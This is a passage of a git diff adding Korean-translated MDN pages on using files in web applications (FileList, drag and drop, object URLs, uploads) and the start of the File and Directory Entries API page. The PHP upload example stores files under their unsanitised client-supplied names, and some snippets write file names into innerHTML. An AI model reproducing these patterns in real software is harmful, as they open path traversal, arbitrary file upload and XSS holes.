+<p>DOM에 의해 제공된 {{DOMxRef("FileList")}} 객체는 사용자에 의해 선택된 모든 파일을 각각 {{DOMxRef("File")}} 객체로 지정하여 나열합니다. 파일 리스트의 <code>length</code> 속성의 값을 확인하여 사용자가 선택한 파일의 수를 결정할 수 있습니다.</p>
+
+<pre class="brush: js">const numFiles = files.length;</pre>
+
+<p>개별 {{DOMxRef("File")}} 객체는 리스트를 간단히 배열처럼 접근하여 얻을 수 있습니다.</p>
+
+<pre class="brush: js">for (let i = 0, numFiles = files.length; i &lt; numFiles; i++) {
+ const file = files[i];
+ ..
+}
+</pre>
+
+<p>위 반복문은 파일 리스트의 모든 파일을 순회합니다.</p>
+
+<p>파일에 대한 유용한 정보를 포함하는 {{DOMxRef("File")}} 객체는 세 가지 속성을 제공합니다.</p>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>읽기 전용 문자열인 파일의 이름입니다. 단순한 파일 이름이며, 경로에 대한 정보는 포함하지 않습니다.</dd>
+ <dt><code>size</code></dt>
+ <dd>읽기 전용 64비트 정수의 바이트 단위 파일의 크기입니다.</dd>
+ <dt><code>type</code></dt>
+ <dd>읽기 전용 문자열인 파일의 MIME 타입입니다. 결정할 수 없는 타입인 경우 <code>""</code>입니다.</dd>
+</dl>
+
+<h3 id="예시_파일_크기_보기">예시: 파일 크기 보기</h3>
+
+<p>다음 예시는 <code>size</code> 프로퍼티를 사용하는 방법을 보여줍니다.</p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta charset="UTF-8"&gt;
+&lt;title&gt;File(s) size&lt;/title&gt;
+&lt;script&gt;
+function updateSize() {
+ let nBytes = 0,
+ oFiles = document.getElementById("uploadInput").files,
+ nFiles = oFiles.length;
+ for (let nFileId = 0; nFileId &lt; nFiles; nFileId++) {
+ nBytes += oFiles[nFileId].size;
+ }
+ let sOutput = nBytes + " bytes";
+ // multiples approximation을 위한 선택적 코드
+ for (let aMultiples = ["KiB", "MiB", "GiB", "TiB", "PiB", "EiB", "ZiB", "YiB"], nMultiple = 0, nApprox = nBytes / 1024; nApprox &gt; 1; nApprox /= 1024, nMultiple++) {
+ sOutput = nApprox.toFixed(3) + " " + aMultiples[nMultiple] + " (" + nBytes + " bytes)";
+ }
+ // 선택적 코드의 끝
+ document.getElementById("fileNum").innerHTML = nFiles;
+ document.getElementById("fileSize").innerHTML = sOutput;
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onload="updateSize();"&gt;
+&lt;form name="uploadForm"&gt;
+&lt;p&gt;&lt;input id="uploadInput" type="file" name="myFiles" onchange="updateSize();" multiple&gt; selected files: &lt;span id="fileNum"&gt;0&lt;/span&gt;; total size: &lt;span id="fileSize"&gt;0&lt;/span&gt;&lt;/p&gt;
+&lt;p&gt;&lt;input type="submit" value="Send file"&gt;&lt;/p&gt;
+&lt;/form&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="click()_메소드를_사용하여_숨겨진_파일_input_엘리먼트_사용하기">click() 메소드를 사용하여 숨겨진 파일 input 엘리먼트 사용하기</h2>
+
+<p>Gecko 2.0 {{geckoRelease("2.0")}}의 시작과 함께, 확실히 세련되지 않은 파일 {{HTMLElement("input")}} 엘리먼트를 숨기고 파일 선택기를 열고 사용자에 의해 선택된 파일 또는 파일들을 보여주는 여러분만의 인터페이스를 제공할 수 있습니다. input 엘리먼트를 <code>display:none</code> 으로 스타일링하고 {{HTMLElement("input")}} 엘리먼트에 {{DOMxRef("element.click","click()")}} 메소드를 호출하는 것으로 이를 수행할 수 있습니다.</p>
+
+<p>다음 HTML을 생각해봅시다.</p>
+
+<pre class="brush: html">&lt;input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"&gt;
+&lt;button id="fileSelect"&gt;Select some files&lt;/button&gt;</pre>
+
+<p><code>click</code> 이벤트를 다루는 코드는 다음과 같을 것입니다.</p>
+
+<pre class="brush: js">const fileSelect = document.getElementById("fileSelect"),
+ fileElem = document.getElementById("fileElem");
+
+fileSelect.addEventListener("click", function (e) {
+ if (fileElem) {
+ fileElem.click();
+ }
+}, false);
+</pre>
+
+<p>여러분이 원하는 파일 선택기를 열기위한 새로운 버튼을 스타일링할 수 있습니다.</p>
+
+<h2 id="label_엘리먼트를_사용하여_숨겨진_파일_input_엘리먼트_실행하기">label 엘리먼트를 사용하여 숨겨진 파일 input 엘리먼트 실행하기</h2>
+
+<p>JavaScript(click() 메소드)를 사용하지 않고 파일 선택기를 열도록 허용하기 위해 {{HTMLElement("label")}} 엘리먼트가 사용될 수 있습니다. 이 경우에는 input 엘리먼트가 반드시 <code>display: none</code>(또는 <code>visibility: hidden</code>)을 사용하여 숨긴상태가 아니어야하며, 그렇지 않을 경우 라벨은 키보드로 접근이 불가하다는 것을 유의하세요. 대신 <a href="https://a11yproject.com/posts/how-to-hide-content/">외관상으로 숨기기 테크닉</a>을 사용하세요.</p>
+
+<p>다음 HTML과</p>
+
+<pre class="brush: html">&lt;input type="file" id="fileElem" multiple accept="image/*" class="visually-hidden"&gt;
+&lt;label for="fileElem"&gt;Select some files&lt;/label&gt;</pre>
+
+<p>CSS를 생각해봅시다.</p>
+
+<pre class="brush: css">.visually-hidden {
+ position: absolute !important;
+ height: 1px;
+ width: 1px;
+ overflow: hidden;
+ clip: rect(1px, 1px, 1px, 1px);
+}
+
+input.visually-hidden:focus + label {
+ outline: thin dotted;
+}
+</pre>
+
+<p><code>fileElem.click()</code>을 호출하기위해 JavaScript 코드를 추가할 필요가 없습니다. 또한 이 경우에는 여러분이 원하는대로 label 엘리먼트를 스타일링 할 수 있습니다. 여러분은 숨겨진 input 필드의 포커싱 상태를 시각적인 신호(위에서 보여진 outline이나, background-color 또는 box-shadow)로 label에 제공해야합니다. (이 글의 작성 시점에서, Firefox는 <code>&lt;input type="file"&gt;</code> 엘리먼트에 대한 시각적 신호를 보여주지 않습니다.)</p>
+
+<h2 id="드래그_앤_드랍을_사용하여_파일_선택하기">드래그 앤 드랍을 사용하여 파일 선택하기</h2>
+
+<p>사용자가 파일을 웹 어플리케이션으로 드래그 앤 드랍하도록 할 수도 있습니다.</p>
+
+<p>첫 단계는 드랍 영역을 설정하는 것입니다. 드랍을 허용할 컨텐츠의 정확한 영역은 어플리케이션의 디자인에따라 아주 달라질 수 있지만, 드랍 이벤트를 받는 엘리먼트를 만드는 것은 간단합니다.</p>
+
+<pre class="brush: js">let dropbox;
+
+dropbox = document.getElementById("dropbox");
+dropbox.addEventListener("dragenter", dragenter, false);
+dropbox.addEventListener("dragover", dragover, false);
+dropbox.addEventListener("drop", drop, false);
+</pre>
+
+<p>이 예시에서는, <code>dropbox</code>라는 ID를 갖는 엘리먼트를 드랍 영역으로 변경합니다. {{event('dragenter')}}, {{event('dragover')}}, {{event('drop')}} 이벤트를위한 리스너를 추가하는 것으로 이를 수행할 수 있습니다.</p>
+
+<p>우리의 경우에는, <code>dragenter</code>와 <code>dragover</code> 이벤트로 무언가를 진짜 할 필요는 없으므로, 두 함수는 모두 단순합니다. 두 함수는 단지 이벤트의 전파를 중단하고 기본 동작이 발생하는 것을 방지합니다.</p>
+
+<pre class="brush: js">function dragenter(e) {
+ e.stopPropagation();
+ e.preventDefault();
+}
+
+function dragover(e) {
+ e.stopPropagation();
+ e.preventDefault();
+}
+</pre>
+
+<p>진짜 마법은 <code>drop()</code> 함수에서 발생합니다.</p>
+
+<pre class="brush: js">function drop(e) {
+ e.stopPropagation();
+ e.preventDefault();
+
+ const dt = e.dataTransfer;
+ const files = dt.files;
+
+ handleFiles(files);
+}
+</pre>
+
+<p>여기에서, 우리는 이벤트로부터 <code>dataTransfer</code> 필드를 추출하고, 그로부터 파일 리스트를 가져온 후, <code>handleFiles()</code>로 전달합니다. 이 지점부터, 파일을 다루는 것은 사용자가 <code>input</code> 엘리먼트를 사용했든 드래그 앤 드랍을 사용했든 동일합니다.</p>
+
+<h2 id="예시_사용자가_선택한_이미지의_섬네일_보여주기">예시: 사용자가 선택한 이미지의 섬네일 보여주기</h2>
+
+<p>여러분이 차세대 사진 공유 웹사이트를 개발중이며 HTML5를 사용하여 사진이 실제로 업로드되기 전에 이미지의 섬네일 미리보기를 표시하길 원한다고 가정해봅시다. 여러분은 앞서 설명한대로 input 엘리먼트나 드랍 영역을 설정하고 아래와 같은 <code>handleFiles()</code> 함수를 호출하면됩니다.</p>
+
+<pre class="brush: js">function handleFiles(files) {
+ for (let i = 0; i &lt; files.length; i++) {
+ const file = files[i];
+
+ if (!file.type.startsWith('image/')){ continue }
+
+ const img = document.createElement("img");
+ img.classList.add("obj");
+ img.file = file;
+ preview.appendChild(img); // "preview"가 결과를 보여줄 div 출력이라 가정.
+
+ const reader = new FileReader();
+ reader.onload = (function(aImg) { return function(e) { aImg.src = e.target.result; }; })(img);
+ reader.readAsDataURL(file);
+ }
+}
+</pre>
+
+<p>H여기에서 사용자가 선택한 파일을 다루는 반복문은 각 파일의 <code>type</code> 속성을 보고 MIME 타입이 "<code>image/</code>" 문자열로 시작하는지를 확인합니다. 이미지인 각 파일에 대해서는, 새로운 <code>img</code> 엘리먼트를 생성합니다. CSS를 사용하여 보기 좋은 테두리나 그림자를 설정할 수 있고 이미지의 크기를 지정할 수 있으므로, 스타일링에 대해서는 여기에서 다룰 필요는 없습니다.</p>
+
+<p>각 이미지는 각각에 추가된 CSS 클래스 <code>obj</code>를 가져, DOM 트리에서의 탐색을 더 쉽게만듭니다. 각 이미지에 이미지에 대한 {{DOMxRef("File")}}을 지정하는 <code>file</code> 속성도 추가합니다(이는 나중에 실제로 업로드를 위한 이미지를 fetch 할 수 있게해줍니다). {{DOMxRef("Node.appendChild()")}}를 사용하여 다큐먼트의 미리보기 영역에 새로운 섬네일을 추가합니다.</p>
+
+<p>다음으로, {{DOMxRef("FileReader")}}를 설정하여 이미지 로딩과 이를 <code>img</code> 엘리먼트에 추가하는 것을 비동기적으로 처리합니다. 새로운 <code>FileReader</code> 객체를 생성한 후에, <code>onload</code> 함수를 설정하고 <code>readAsDataURL()</code>을 호출하여 백그라운드에서 읽기 작업을 시작합니다. 이미지 파일의 전체 컨텐츠가 로드되었을 때, onload 콜백으로 전달되는 <code>data:</code> URL로 변환됩니다. 이 루틴을 구현하면 img 엘리먼트의 src 속성을 로드된 이미지로 설정하여 사용자 화면의 섬네일에 이미지가 나타나납니다.</p>
+
+<h2 id="객체_URL_사용하기">객체 URL 사용하기</h2>
+
+<p>Gecko 2.0 {{geckoRelease("2.0")}}은 DOM {{DOMxRef("window.URL.createObjectURL()")}} 및 {{DOMxRef("window.URL.revokeObjectURL()")}} 메소드에 대한 지원을 소개했습니다. 이 메소드들은 사용자의 컴퓨터에 있는 로컬 파일을 포함해, DOM {{DOMxRef("File")}} 객체를 사용해 참조된 데이터에 대한 참조로 사용할 수 있는 간단한 URL 문자열을 생성할 수 있게 해줍니다.</p>
+
+<p>HTML에 URL로 참조하길 원하는 {{DOMxRef("File")}} 객체가 있다면, 다음과 같이 객체 URL을 생성할 수 있습니다.</p>
+
+<pre class="brush: js">const objectURL = window.URL.createObjectURL(fileObj);</pre>
+
+<p>객체 URL은 {{DOMxRef("File")}} 객체를 식별하는 문자열입니다. {{DOMxRef("window.URL.createObjectURL()")}}을 호출할때마다, 여러분이 이미 해당 파일에 대한 객체 URL을 생성했더라도 고유한 객체 URL이 생성됩니다. 각각은 반드시 해제되어야 합니다. 객체 URL은 다큐먼트가 unload될 때 자동으로 해제되지만, 여러분의 페이지가 동적으로 이를 사용할 경우 {{DOMxRef("window.URL.revokeObjectURL()")}}을 호출하여 명시적으로 해제해야합니다.</p>
+
+<pre class="brush: js">window.URL.revokeObjectURL(objectURL);</pre>
+
+<h2 id="예시_객체_URL을_사용하여_이미지_표시하기">예시: 객체 URL을 사용하여 이미지 표시하기</h2>
+
+<p>다음 예시는 객체 URL을 사용하여 이미지 섬네일을 표시합니다. 부가적으로, 파일의 이름과 크기를 포함한 다른 정보도 표시합니다.</p>
+
+<p>인터페이스를 나타내는 HTML은 다음과 같습니다.</p>
+
+<pre class="brush: html">&lt;input type="file" id="fileElem" multiple accept="image/*" style="display:none" onchange="handleFiles(this.files)"&gt;
+&lt;a href="#" id="fileSelect"&gt;Select some files&lt;/a&gt;
+&lt;div id="fileList"&gt;
+ &lt;p&gt;No files selected!&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<p>위 코드는 파일 선택기를 불러오는 링크와 우리의 파일 {{HTMLElement("input")}} 엘리먼트를 설정합니다(파일 input을 숨겨 덜 매력적인 사용자 인터페이스가 표시되는 것을 방지하였으므로). 이는 파일 선택기를 불러오는 메소드와 마찬가지로, {{anch("Using hidden file input elements using the click() method")}} 섹션에서 설명합니다.</p>
+
+<p><code>handleFiles()</code> 메소드는 다음과 같습니다.</p>
+
+<pre class="brush: js">window.URL = window.URL || window.webkitURL;
+
+const fileSelect = document.getElementById("fileSelect"),
+ fileElem = document.getElementById("fileElem"),
+ fileList = document.getElementById("fileList");
+
+fileSelect.addEventListener("click", function (e) {
+ if (fileElem) {
+ fileElem.click();
+ }
+ e.preventDefault(); // "#" 해시로 이동을 방지
+}, false);
+
+function handleFiles(files) {
+ if (!files.length) {
+ fileList.innerHTML = "&lt;p&gt;No files selected!&lt;/p&gt;";
+ } else {
+ fileList.innerHTML = "";
+ const list = document.createElement("ul");
+ fileList.appendChild(list);
+ for (let i = 0; i &lt; files.length; i++) {
+ const li = document.createElement("li");
+ list.appendChild(li);
+
+  const img = document.createElement("img");
+  img.src = window.URL.<strong>createObjectURL</strong>(files[i]);
+  img.height = 60;
+  img.onload = function() {
+ window.URL.<strong>revokeObjectURL</strong>(this.src);
+  }
+  li.appendChild(img);
+  const info = document.createElement("span");
+  info.innerHTML = files[i].name + ": " + files[i].size + " bytes";
+  li.appendChild(info);
+  }
+  }
+}
+</pre>
+
+<p><code>fileList</code> ID로 {{HTMLElement("div")}}의 URL을 페칭하는 것으로 시작합니다. 이는 섬네일을 포함하여 파일 리스트로 삽입하는 블록입니다.</p>
+
+<p><code>handleFiles()</code>로 전달된 {{DOMxRef("FileList")}} 객체가 <code>null</code>인 경우, 블록의 inner HTML을 간단하게 "No files selected!"를 표시하도록 설정합니다. <code>null</code>이 아닌 경우, 다음과 같이 파일 리스트를 구축합니다.</p>
+
+<ol>
+ <li>새로운 순서가 없는 리스트({{HTMLElement("ul")}}) 엘리먼트가 생성됩니다.</li>
+ <li>새로운 리스트 엘리먼트가 {{DOMxRef("Node.appendChild()")}} 메소드 호출에 의해 {{HTMLElement("div")}} 블록으로 삽입됩니다.</li>
+ <li><code>files</code>에 의해 나타나는 {{DOMxRef("FileList")}} 내의 각 {{DOMxRef("File")}}에 대해 :
+ <ol>
+ <li>새로운 리스트 항목({{HTMLElement("li")}}) 엘리먼트를 생성하고 리스트로 삽입합니다.</li>
+ <li>새로운 이미지({{HTMLElement("img")}}) 엘리먼트를 생성합니다.</li>
+ <li>{{DOMxRef("window.URL.createObjectURL()")}}을 사용하여 이미지의 소스를 파일을 나타내는 새로운 객체 URL로 설정해 blob URL을 생성합니다.</li>
+ <li>이미지의 height를 60 픽셀로 설정합니다.</li>
+ <li>이미지가 로드된 이후에 더 이상 필요하지 않게되므로 객체 URL을 해제하기 위한 이미지의 로드 이벤트 핸들러를 설정합니다. {{DOMxRef("window.URL.revokeObjectURL()")}} 메소드를 호출하고 <code>img.src</code>로 지정한 객체 URL 문자열을 전달하면됩니다.</li>
+ <li>리스트로 새로운 리스트 항목을 추가합니다.</li>
+ </ol>
+ </li>
+</ol>
+
+<p>다음은 위 코드의 라이브 데모입니다.</p>
+
+<p>{{EmbedLiveSample('Example_Using_object_URLs_to_display_images', '100%', '300px')}}</p>
+
+<h2 id="Example_Uploading_a_user-selected_file">Example: Uploading a user-selected file</h2>
+
+<p>Another thing you might want to do is let the user upload the selected file or files (such as the images selected using the previous example) to a server. This can be done asynchronously very easily.</p>
+
+<h3 id="Creating_the_upload_tasks">Creating the upload tasks</h3>
+
+<p>Continuing with the code that built the thumbnails in the previous example, recall that every thumbnail image is in the CSS class <code>obj</code> with the corresponding {{DOMxRef("File")}} attached in a <code>file</code> attribute. This allows us to select all of the images the user has chosen for uploading using {{DOMxRef("Document.querySelectorAll()")}}, like this:</p>
+
+<pre class="brush: js">function sendFiles() {
+ const imgs = document.querySelectorAll(".obj");
+
+ for (let i = 0; i &lt; imgs.length; i++) {
+ new FileUpload(imgs[i], imgs[i].file);
+ }
+}
+</pre>
+
+<p>Line 2 fetches a <span style="line-height: 1.5;">{{DOMxRef("NodeList")}}</span><span style="line-height: 1.5;">, called </span><code style="font-size: 14px;">imgs</code><span style="line-height: 1.5;">, of all the elements in the document with the CSS class </span><code style="font-size: 14px;">obj</code><span style="line-height: 1.5;">. In our case, these will be all of the image thumbnails. Once we have that list, it's trivial to go through it and create a new </span><code style="font-size: 14px;">FileUpload</code><span style="line-height: 1.5;"> instance for each. Each of these handles uploading the corresponding file.</span></p>
+
+<h3 id="Handling_the_upload_process_for_a_file">Handling the upload process for a file</h3>
+
+<p>The <code>FileUpload</code> function accepts two inputs: an image element and a file from which to read the image data.</p>
+
+<pre class="brush: js">function FileUpload(img, file) {
+ const reader = new FileReader();
+ this.ctrl = createThrobber(img);
+ const xhr = new XMLHttpRequest();
+ this.xhr = xhr;
+
+ const self = this;
+ this.xhr.upload.addEventListener("progress", function(e) {
+ if (e.lengthComputable) {
+ const percentage = Math.round((e.loaded * 100) / e.total);
+ self.ctrl.update(percentage);
+ }
+ }, false);
+
+ xhr.upload.addEventListener("load", function(e){
+ self.ctrl.update(100);
+ const canvas = self.ctrl.ctx.canvas;
+ canvas.parentNode.removeChild(canvas);
+ }, false);
+ xhr.open("POST", "http://demos.hacks.mozilla.org/paul/demos/resources/webservices/devnull.php");
+ xhr.overrideMimeType('text/plain; charset=x-user-defined-binary');
+ reader.onload = function(evt) {
+ xhr.send(evt.target.result);
+ };
+ reader.readAsBinaryString(file);
+}
+</pre>
+
+<p>The <code>FileUpload()</code> function shown above creates a throbber, which is used to display progress information, and then creates an {{DOMxRef("XMLHttpRequest")}} to handle uploading the data.</p>
+
+<p>Before actually transferring the data, several preparatory steps are taken:</p>
+
+<ol>
+ <li>The <code>XMLHttpRequest</code>'s upload <code>progress</code> listener is set to update the throbber with new percentage information so that as the upload progresses the throbber will be updated based on the latest information.</li>
+ <li>The <code>XMLHttpRequest</code>'s upload <code>load</code> event handler is set to update the throbber progress information to 100% to ensure the progress indicator actually reaches 100% (in case of granularity quirks during the process). It then removes the throbber since it's no longer needed. This causes the throbber to disappear once the upload is complete.</li>
+ <li>The request to upload the image file is opened by calling <code>XMLHttpRequest</code>'s <code>open()</code> method to start generating a POST request.</li>
+ <li>The MIME type for the upload is set by calling the <code>XMLHttpRequest</code> function <code>overrideMimeType()</code>. In this case, we're using a generic MIME type; you may or may not need to set the MIME type at all depending on your use case.</li>
+ <li>The <code>FileReader</code> object is used to convert the file to a binary string.</li>
+ <li>Finally, when the content is loaded the <code>XMLHttpRequest</code> function <code>send()</code> is called to upload the file's content.</li>
+</ol>
+
+<div class="note"><strong>Note:</strong> The non-standard <code>sendAsBinary</code> method which was previously used in the example above is considered deprecated as of Gecko 31 {{geckoRelease(31)}}; use the standard <code>send(Blob data)</code> method instead.</div>
+
+<h3 id="Asynchronously_handling_the_file_upload_process">Asynchronously handling the file upload process</h3>
+
+<p>This example, which uses PHP on the server side and JavaScript on the client side, demonstrates asynchronous uploading of a file.</p>
+
+<pre class="brush: js">&lt;?php
+if (isset($_FILES['myFile'])) {
+ // Example:
+    move_uploaded_file($_FILES['myFile']['tmp_name'], "uploads/" . $_FILES['myFile']['name']);
+    exit;
+}
+?&gt;&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+    &lt;title&gt;dnd binary upload&lt;/title&gt;
+    &lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8"&gt;
+    &lt;script type="application/javascript"&gt;
+        function sendFile(file) {
+            const uri = "/index.php";
+            const xhr = new XMLHttpRequest();
+            const fd = new FormData();
+
+            xhr.open("POST", uri, true);
+            xhr.onreadystatechange = function() {
+                if (xhr.readyState == 4 &amp;&amp; xhr.status == 200) {
+                    alert(xhr.responseText); // handle response.
+                }
+            };
+            fd.append('myFile', file);
+            // Initiate a multipart/form-data upload
+            xhr.send(fd);
+        }
+
+        window.onload = function() {
+            const dropzone = document.getElementById("dropzone");
+            dropzone.ondragover = dropzone.ondragenter = function(event) {
+                event.stopPropagation();
+                event.preventDefault();
+            }
+
+            dropzone.ondrop = function(event) {
+                event.stopPropagation();
+                event.preventDefault();
+
+                const filesArray = event.dataTransfer.files;
+                for (let i=0; i&lt;filesArray.length; i++) {
+                    sendFile(filesArray[i]);
+                }
+            }
+ }
+    &lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+    &lt;div&gt;
+        &lt;div id="dropzone" style="margin:30px; width:500px; height:300px; border:1px dotted grey;"&gt;Drag &amp; drop your file here...&lt;/div&gt;
+    &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Example_Using_object_URLs_to_display_PDF">Example: Using object URLs to display PDF</h2>
+
+<p>Object URLs can be used for other things than just images! They can be used to display embedded PDF files or any other resources that can be displayed by the browser.</p>
+
+<p>In Firefox, to have the PDF appear embedded in the iframe (rather than proposed as a downloaded file), the preference <code>pdfjs.disabled</code> must be set to <code>false</code> {{non-standard_inline()}}.</p>
+
+<pre class="brush: html">&lt;iframe id="viewer"&gt;
+</pre>
+
+<p>And here is the change of the <code>src</code> attribute:</p>
+
+<pre class="brush: js">const obj_url = window.URL.createObjectURL(blob);
+const iframe = document.getElementById('viewer');
+iframe.setAttribute('src', obj_url);
+window.URL.revokeObjectURL(obj_url);</pre>
+
+<h2 id="Example_Using_object_URLs_with_other_file_types">Example: Using object URLs with other file types</h2>
+
+<p>You can manipulate files of other formats the same way. Here is how to preview uploaded video:</p>
+
+<pre class="brush: js">const video = document.getElementById('video');
+const obj_url = window.URL.createObjectURL(blob);
+video.src = obj_url;
+video.play()
+window.URL.revokeObjectURL(obj_url);</pre>
+
+<h2 id="Specification" name="Specification">Specifications</h2>
+
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/progress-events/" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/number-state.html#concept-input-type-file-selected">File upload state</a> (HTML 5 working draft)</li>
+ <li><a href="http://www.w3.org/TR/FileAPI/" title="http://www.w3.org/TR/FileAPI/">File API</a></li>
+</ul>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{DOMxRef("File")}}</li>
+ <li>{{DOMxRef("FileList")}}</li>
+ <li>{{DOMxRef("FileReader")}}</li>
+ <li><a href="/en/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="En/Using XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en/Extensions/Using_the_DOM_File_API_in_chrome_code" title="en/Extensions/Using the DOM File API in chrome code">Using the DOM File API in chrome code</a></li>
+ <li>{{DOMxRef("XMLHttpRequest")}}</li>
+</ul>
diff --git a/files/ko/web/api/file_and_directory_entries_api/index.html b/files/ko/web/api/file_and_directory_entries_api/index.html
new file mode 100644
index 0000000000..d4a93a15e9
--- /dev/null
+++ b/files/ko/web/api/file_and_directory_entries_api/index.html
@@ -0,0 +1,131 @@
+---
+title: File and Directory Entries API
+slug: Web/API/File_and_Directory_Entries_API
+translation_of: Web/API/File_and_Directory_Entries_API
+---
+<p>{{DefaultAPISidebar("File System API")}}{{Non-standard_header}}</p>
+
+<p>The File and Directory Entries API는 탐색 및 파일 접근이 가능한 로컬 파일 시스템을 웹상에 시뮬레이션합니다. 이 API를 통해 당신은 읽고, 쓰고, 파일과 디렉토리를 생성할 수 있는 가상의 파일 시스템을 가진 앱을 개발할 수 있을 것입니다.</p>
+
+<div class="note">
+<p>이 API는 아직 표준이 아니기 때문에, 모든 브라우저가 이를 지원하지 않는 다는 점을 유념하십시오. 지원하더라도 일부 기능만을 지원할 수도 있습니다. 자세한 내용은 브라우저 호환성({{anch("Browser compatibility")}}) 항목을 참조하십시오.</p>
+</div>
+
+<p>동기적 혹은 비동기적인 동작 중 어느 쪽을 필요로 하냐에 따라 만들어진 매우 유사한 두 개의 API가 있습니다. 동기식 API는 {{domxref("Worker")}} 내에서 사용될 수 있도록 확장되어 왔으며 당신이 원하는 값을 반환합니다. 비동기식 API는 브라우저의 동작을 방해하지 않지만 함수와 API가 값을 반환하지 않습니다; 그 대신, 당신은 콜백 함수를 이용해 언제든 응답을 처리할 수 있습니다.</p>
+
+<div class="warning">
+<p>Firefox에 내장된 File and Directory Entries API는 매우 제한적입니다; 해당 환경에서는 파일 생성을 사용할 수 없습니다. {{HTMLElement("input")}}이나 ({{domxref("HTMLInputElement")}} 도 확인하십시오) 앱이나 웹사이트에서 드래그 앤 드롭(<a href="/en-US/docs/Web/API/HTML_Drag_and_Drop_API">drag and drop</a>)을 통해 유저가 직접 선택한 파일에만 액세스 가능합니다. 또한 Firefox는 동기식 API 역시 지원하지 않습니다. API의 어떤 부분을 사용하려고 하든 반드시 브라우저 호환성을 확인하시고, Firefox에 대한 이 API의 호환성(<a href="/en-US/docs/Web/API/File_and_Directory_Entries_API/Firefox_support">File and Directory Entries API support in Firefox</a>)을 통해 더 자세하게 알아보도록 하십시오.</p>
+</div>
+
+<h2 id="파일_시스템에_접근하기">파일 시스템에 접근하기</h2>
+
+<p>현재로서 정의된 파일 시스템에 대한 접근 방법은 두 가지입니다:</p>
+
+<ul>
+ <li>드래그 앤 드롭({{event("drop")}}) 이벤트를 제어함으로써, 당신은 {{domxref("DataTransferItem.webkitGetAsEntry()")}} 를 통해{{domxref("FileSystemEntry")}}에 드롭한 파일을 전달할 수 있습니다. 만일 결과가 <code>null</code>이 아니라면, 드롭한 파일 혹은 디렉토리를 파일 시스템에서 사용할 수 있을 것입니다.</li>
+ <li>{{domxref("HTMLInputElement.webkitEntries")}} 속성은 당신이 {{domxref("FileSystemFileEntry")}} 객체에 현재 선택된 파일을 접근시킬 수 있게 하지만, 파일 선택기(File chooser)로 직접 드래그 앤 드롭한 경우에만 가능합니다. ({{bug(1326031)}}). 만일 {{domxref("HTMLInputElement.webkitdirectory")}}의 값을 <code>true</code>로 두었다면, 디렉토리 선택자(Directory picker) 대신 {{HTMLElement("input")}} 를 사용할 수 있고, 선택된 각 디렉토리에 대해 {{domxref("FileSystemDirectoryEntry")}} 객체로 만들 수 있습니다.</li>
+</ul>
+
+<h2 id="비동기식_API">비동기식 API</h2>
+
+<p>파일 시스템 액세스가 메인 스레드에서 사용될 경우 전체 브라우저를 차단하지 않도록 대부분의 작업은 비동기 API를 이용하여야 합니다. 다음과 같은 인터페이스를 포함하고 있습니다:</p>
+
+<dl>
+ <dt>{{domxref("FileSystem")}}</dt>
+ <dd>파일 시스템을 나타냅니다.</dd>
+ <dt>{{domxref("FileSystemEntry")}}</dt>
+ <dd>파일 시스템의 단일 엔트리를 의미하는 기본적인 인터페이스입니다. 이것은 파일이나 디렉토리 등을 나타내는 다른 인터페이스들에 의해 구현됩니다.</dd>
+ <dt>{{domxref("FileSystemFileEntry")}}</dt>
+ <dd>파일 시스템 내의 단일 파일을 나타냅니다.</dd>
+ <dt>{{domxref("FileSystemDirectoryEntry")}}</dt>
+ <dd>파일 시스템 내의 단일 디렉토리를 나타냅니다.</dd>
+ <dt>{{domxref("FileSystemDirectoryReader")}}</dt>
+ <dd>{{domxref("FileSystemDirectoryEntry.createReader()")}}를 호출함으로써 만들어지는 인터페이스이며, 디렉토리의 내용물을 읽을 수 있는 기능을 제공합니다.</dd>
+ <dt>{{domxref("FileSystemFlags")}}</dt>
+ <dd><a href="https://developer.mozilla.org/en-US/docs/Web/API/File_and_Directory_Entries_API">File and Directory Entries API</a>에서 특정 메소드를 호출할 때 옵션 플래그로 사용되는 값들의 집합을 정의합니다.</dd>
+ <dt>{{DOMxRef("FileError")}} {{Obsolete_Inline}}</dt>
+ <dd>비동기 파일 시스템 호출에 의해 발생한 에러를 나타냅니다.</dd>
+</dl>
+
+<p>또한 두 개의 전역 함수가 있습니다(현재로선 명세화되지 않아 Google Chrome에만 내장되어 있습니다). {{domxref("Window")}} 객체 위에서 사용 가능하며 {{domxref("LocalFileSystem")}}에 구현되어 있습니다: 각각 <code>requestFileSystem()</code> 과 <code>resolveLocalFileSystemURL()</code>.</p>
+
+<h2 id="동기식_API">동기식 API</h2>
+
+<p>동기식 API는 반드시 {{domxref("Worker")}}s 안에서만 사용되어야 합니다; 이 호출들은 그들이 실행이 완료될 때 까지 브라우저의 동작을 멈추며, 콜백을 보내는 대신 단순히 결과값을 반환합니다. 이 함수들을 메인 스레드에서 사용하는 것은 브라우저의 동작을 멈출 것이며, 그것은 너무 난잡한 방식입니다. 아래의 인터페이스들은 비동기식 API와 기능적으로 거의 유사합니다.</p>
+
+<dl>
+ <dt>{{domxref("FileSystemSync")}}</dt>
+ <dd>파일 시스템을 나타냅니다.</dd>
+ <dt>{{domxref("FileSystemEntrySync")}}</dt>
+ <dd>파일 시스템의 단일 엔트리를 의미하는 기본적인 인터페이스입니다. 이것은 파일이나 디렉토리 등을 나타내는 다른 인터페이스들에 의해 구현됩니다.</dd>
+ <dt>{{domxref("FileSystemFileEntrySync")}}</dt>
+ <dd>파일 시스템 내의 단일 파일을 나타냅니다.</dd>
+ <dt>{{domxref("FileSystemDirectoryEntrySync")}}</dt>
+ <dd>파일 시스템 내의 단일 디렉토리를 나타냅니다.</dd>
+ <dt>{{domxref("FileSystemDirectoryReaderSync")}}</dt>
